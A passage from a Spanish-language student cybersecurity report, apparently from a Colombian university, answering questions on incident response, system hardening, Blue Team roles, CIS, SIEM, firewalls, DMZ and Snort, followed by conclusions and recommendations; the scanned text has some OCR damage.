5.1.1 ¢Qué seria lo primero que indagaria y haria si llegara a encontrarse un
ataqueen tiempo real? especifique su respuesta con argumentos técnicos.

Como especialista en seguridad informética y argumentando mi respuesta
técnicamenteyo realizaria los siguientes pasos si llegara a encontrarme un
ataque en tiempo real.

Primero que todo se analiza la situacion y recogeran todos los datos que ayuden
a entender qué paso, por donde "entraron" los ciberdelincuentes, cuantas
personas se vieron afectadas y cual fue el tipo de ataque pues dependiendo del
tipo se sabra cdmo proceder ya que no con todos se procede del mismo modo.
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- Fundamental saber el origen del ataque si fue por medio de

- Archivos adjuntos correo electronico

- Insertando a los equipos USB, USBs, DVDs o CDs con virus.
- Puertos abiertos

- Mensajes de redes sociales

- Descarga de programas, juegos o aplicaciones de internet

- Anuncios falsos entre muchos mas

continuamos tratando de parar la afectacion de los equipos por el ataque, realizando
los pasos antes expuestos en orden y profesionalmente podemos evitar una
afectacion graveen los equipos; por ultimo y no menos importante se debe realizar
un informe técnico donde se describa toda la situacién presentada, se expone ante
los directivos de la organizacion para posteriormente tomar las acciones pertinentes,
si fue un error humanoque se justifigue sus acciones y se haga responsable de
dafos y perjuicios, capacitaciones al personal de todas las modalidades de ataque
y como evitarlas para contener y minimizar dafos futuros.

Como nota aclaratoria si el ataque fue efectivo se debe trabajar con equipos
forenses para analizar para un analisis detallado, los dafios efectuados y el objetivo
del atacante y con herramientas de andlisis de vulnerabilidades para evitar.

5.1.2 ¢teniendo en cuenta el ataque ejecutado desde el ejercicio de Red
Team quémedidas de hardenizacion propondria para que el ataque no se
repita?

Las medidas para endurecimiento del sistema serian las siguientes:

- Tener un sistema operativo actualizado Unix, DOS, AmigaOS, OS/2. En
la actualidad aquellos méas conocidos e implementados vienen siendo:
Microsoft Windows, Mac OS X y Linux en sus ultimas versiones.

- Activacion de firewall.

- Dentro de la empresa o la organizacion contar siempre con un paquete.
actualizadode antivirus los cuales es objetivo es detectar y eliminar virus
informéticos.

- Contar con equipo profesional en seguridad informatica los cuales
ejecuten programas y software especializados en seguridad para verificar
gue vulnerabilidades y amenazas cuenta la empresa.

- Cierre de puertos que no se utilicen.

- Desinstalar programas de dudosa procedencia.

- Capacitacién continua al personal sobre seguridad informatica.

- Tener copia de respaldo de informacion.

- Cambio continuo de contrasefias y que cuenten con la seguridad
adecuada.
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5.1.3 ¢Describa con sus palabras las diferencias entre un equipo Blue Team
y un equipo de respuesta a incidentes informaticos?

El equipo de Blueteam se encarga de analizar sistemas, vulnerabilidades,
mitigaciones riesgo, desarrollar estrategia, monitorear comportamiento y evaluar
las amenazas mientras los equipos de respuesta a incidentes informaticos actian
sobre los ataques que se han producido, respaldados por informes.

5.1.4 ¢Sidentro de un equipo blueteam le indican que debe trabajar con cis
“centerfor internet security” usted lo utilizaria para qué fin?

“El Center for Internet Security, Inc. (CIS ® ) hace que el mundo conectado sea un
lugarmas seguro para las personas, las empresas y los gobiernos a través de
nuestras competencias basicas de colaboracién e innovacion.

Somos una organizaciéon sin fines de lucro impulsada por la comunidad,
responsable deCIS Controls ® y CIS Benchmarks ™ | las mejores practicas
reconocidas a nivel mundialpara proteger los sistemas y datos de TI. Lideramos
una comunidad global de profesionales de Tl para desarrollar continuamente estos
estandares y proporcionar productos y servicios para proteger de manera proactiva
contra las amenazas emergentes. Nuestras CIS Hardened Images® brindan
entornos informaticos seguros, bajo demanda y escalables en la nube.”?°

Vision de la CEl: Liderar a la comunidad global para proteger nuestro mundo
conectadoen constante cambio.

Mision de la CEIl: Nuestra mision es hacer del mundo conectado un lugar mas
seguro mediante el desarrollo, la validacion y la promocion de soluciones de
mejores practicas oportunas para ayudar a las personas, las empresas y los
gobiernos a defenderse de las ciberamenazas generalizadas.

Todos los controles y mejores practicas considerados por CIS como un factor de
complemento al trabajo del equipo azul RED TEAM, pues la misma utiliza estos
regulaciones e informacion que CIS tiene sobre amenazas y ataques la
ciberseguridad permite tener un sistema mas seguro, equipado con lo ultimo
Actualizaciones sobre tendencias en ciberseguridad.

5.1.5 Explique y redacte las funciones y caracteristicas principales de lo
gue es un SIEM.

20 CIS. Sobre nosotros EI Center for Internet Security. [En linea]. 25 de febrero 2022 Consultado: 11
de marzo de 2022. Disponible en internet: https://www.cisecurity.org/about-us
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SIEM (SECURITY INFORMATION AND EVENT MANAGEMENT)

Es un sistema de seguridad disefiado para proporcionar a las empresas una
respuesta rapida y precisa para detectar y responder a cualquier amenaza a sus
sistemas informaticos. Un sistema SIEM tiene un control completo sobre todos los
eventos que ocurren en una empresa para poder detectar tendencias o patrones
inusuales y tomar medidas inmediatas. SIEM es una evolucion de dos tecnologias
de seguridad.

La funcidén principal que realiza un sistema SIEM es almacenar e interpretar
registros. Este proceso se lleva a cabo en tiempo real y, por lo tanto, proporciona
un alto grado decapacidad de respuesta, puede prevenir o resolver cualquier
incidente relacionado con laseguridad informatica. Un sistema SIEM recopila toda
la informacién de forma centralizada en una base de datos, lo que permite un
andlisis en profundidad para detectar tendencias y patrones de comportamiento
para diferenciar esos casos raros.

“Las principales caracteristicas que dispone un buen sistema SIEM para la
seguridad y respuesta rapida de una empresa son:

- ldentificar entre amenazas reales y falsos incidentes.

- Monitorizar de forma centralizada todas las amenazas potenciales.

- Redirigir la actuacion a personal cualificado para resolverlas.

- Aportar un mayor grado de conocimiento sobre los incidentes para facilitar
su resolucion.

- Documentar todo el proceso de deteccidn, actuacion y resolucion.

- Cumplir con las normas y legislaciones vigentes en cuestién de proteccion
dedatos y seguridad.”!

5.1.6 Definir por lo menos 3 herramientas de contencion de ataques
informaticos “Hardware o Software”.

FIREWALL: Brindan la seguridad necesaria para Internet de las cosas (IoT), como
termostatos inteligentes y bombillas inteligentes. Estos nuevos dispositivos a
menudo vienen con caracteristicas de seguridad mas débiles que pueden hacer que
su red sea vulnerable, pero los firewalls de hardware ayudan a prevenir tales
violaciones de seguridad. Un firewall es un programa de software o un dispositivo
de hardware que filtra e inspeccionala informacion entrante a través de una conexion

21 AMBIT. ¢Qué significa SIEM y como funciona? [en linea]. 29 de abril 2021 Consultado: 12 de
marzo de 2022. Disponible en internet: https://www.ambit-bst.com/blog/qu%C3%A9-significa-siem-
y-c%C3%B3mo- funciona
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a Internet. Representan la primera lineade defensa porque evitan que el malware o
los atacantes accedan a su red e informacionantes de que puedan causar algun
dafio potencial. Pero hay mas de un tipo de firewall por ahi. Es importante conocer
la diferencia entre un firewall de hardware y un firewall desoftware para protegerse
mejor en casa y en lugares publicos.

Figura 43. Firewall

k

{ |
Posible ‘ nternet ‘
atacante

Fuente: ANTIUN Ingenieria S.L. Firewall. [en linea]. 25 de febrero 2022 Consultado: 11 de
marzo de 2022. Disponible en internet: https://antiun.com/firewall/

DMZ: “Una DMZ ayuda a las sefiales electronicas a evitar la estricta seguridad del
firewall y del enrutador y abre todos los puertos para una entrega mas rapida de los
paquetes de datos. Es una manera facil de mejorar la conectividad, como cuando
juegas juegos en linea, transfiere archivos a través de Internet, o crea un sitio web
en tu propio servidor, ysimilares La principal desventaja de una DMZ, sin embargo,
es que deja una computadoraabierta a todos, lo que puede implicar dejar datos dentro
de ella abierta aintrusos. Deberaproceder con la configuracién DMZ con precaucion.
Puede utilizar el reenvio de puertos como una alternativa a DMZ, ya que crea una
regla para abrir un determinado puerto o un rango de puertos que solo recibe una
solicitud de datos especifica. Para saber mas acerca del reenvio de un solo puerto”?

Son usados muy a menudo para ubicar servidores como servidores de correo
electronico,web y DNS. Y estable trafico de datos entre DMZ y la red.

Figura 44. DMZ

22 | INKSYS. Activacion de la funcion DMZ en la cuenta de la nube de Linksys. [en linea]. 2022
Consultado:

12 de marzo de 2022. Disponible en internet:
https://lwww.linksys.com/ec/support- article?articleNum=142514
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Red local

: Internet

Fuente: INCIBE. Qué es una DMZ y cémo te puede ayudar a proteger tu empresa. [en
linea]. 19 DE septiembre 2019 Consultado: 12 de marzo de 2022. Disponible en internet:
https://www.incibe.es/protege-tu-empresa/blog/dmz-y-te-puede-ayudar-proteger-tu- empresa

SNORT: Herramienta de cédigo abierto para andlisis y registro de paquetes en
tiempo real, puedeidentificar los ataques DoS y DDoS, util para la deteccion de
gusanos, exploits yexploracion de puertos. Nos permite saber si el trafico coincide
con alguna de las reglaslo cual rechazaré dicho trafico y bloqueara al atacante.

Figura 45. SNORT

Packet I/0 Totals:
Received:
Analyzed:

Dropped:
Filtered:

Outstanding:

Injecte

[cNoNoNo RGN}

IP6 Opts:
Frag6:
ICMPE:

asex402 UDP6:

0
8.
0
C]
8.0
0.
0.
0.C
0.
0.0
0.0
0.

Fuente: ORTEGON. Daniel. ¢Qué es Snort?: Primeros pasos. [en linea]. 21 de
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marzo 2017 Consultado: 12 de marzo de 2022. Disponible en internet:
https://openwebinars.net/blog/que-es-snort/
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6 CONCLUSIONES

En base a lo que estan exponiendo considero que Colombia es un pais que poco
a pocoha ido evolucionando en temas tecnologicos de igual manera en
normatividad sobre delitos informaticos sin embargo en relacion al desarrollo del
margen legal en Colombia en pro de defender la confidencialidad, integridad y
disponibilidad de los sistemas informaticos esta falta mucho por regular y hacer
cumplir.

La virtualizacion del sistema operativo permite que el hardware de la
computadora ejecute muchas imagenes del sistema operativo simultaneamente.
Una de las situacionesmas comunes es probar software o aplicaciones en un
entorno diferente al de otra computadora. Esto puede potencialmente ahorrarle
mucho dinero al ejecutar multiples servidores virtualmente en una sola maquina.

La ciberseguridad es un factor importante para toda organizacion, teniendo

habilidad paradistinguir cuestiones éticas. El entorno de trabajo permite a los
expertos hacer lo correctoantes cualquier situacion.
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7 RECOMENDACIONES

- Valorar la viabilidad de implementar programas de formacion especificos en el
ambito de la seguridad de la informacién, donde se establezcan las funciones que
cumplen los equipos de ciberseguridad Red Team y Blue Team. El objetivo del
plandebe ser preparar a los funcionarios y contratistas para las nuevas tendencias,
amenazas, vulnerabilidades, resiliencia, soluciones tecnolégicas innovadoras,
gestion de riesgos de seguridad cibernética y amenazas cibernéticas. Esto
permitird a las entidades tener un equipo humano que trabaje con todas las
habilidades para lidiar con los nuevos desafios que puedan surgir.

- En el proceso de mejora continua y gestion de proyectos de las empresas privadas
colombinas se busca realizar analisis periddicos y actuales sobre las diferentes
amenazas que existen y pude estar expuesta la empresa ya que en base a esto
existe los equipos de seguridad informatica como lo son Red Team y Blue Team.

- Realizar analisis de vulnerabilidad en dispositivos, canales, aplicaciones y
comunicaciones que apoyan el proceso de intercambio de evaluacion de seguridad
de lainformacion en las empresas privadas de Colombia para identificardeficiencias
y asi realizar una serie de medidas de prevencién y mitigacion del riesgo.
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8 VIDEO DE SUSTENTACION

https://youtu.be/yct2UognCU4
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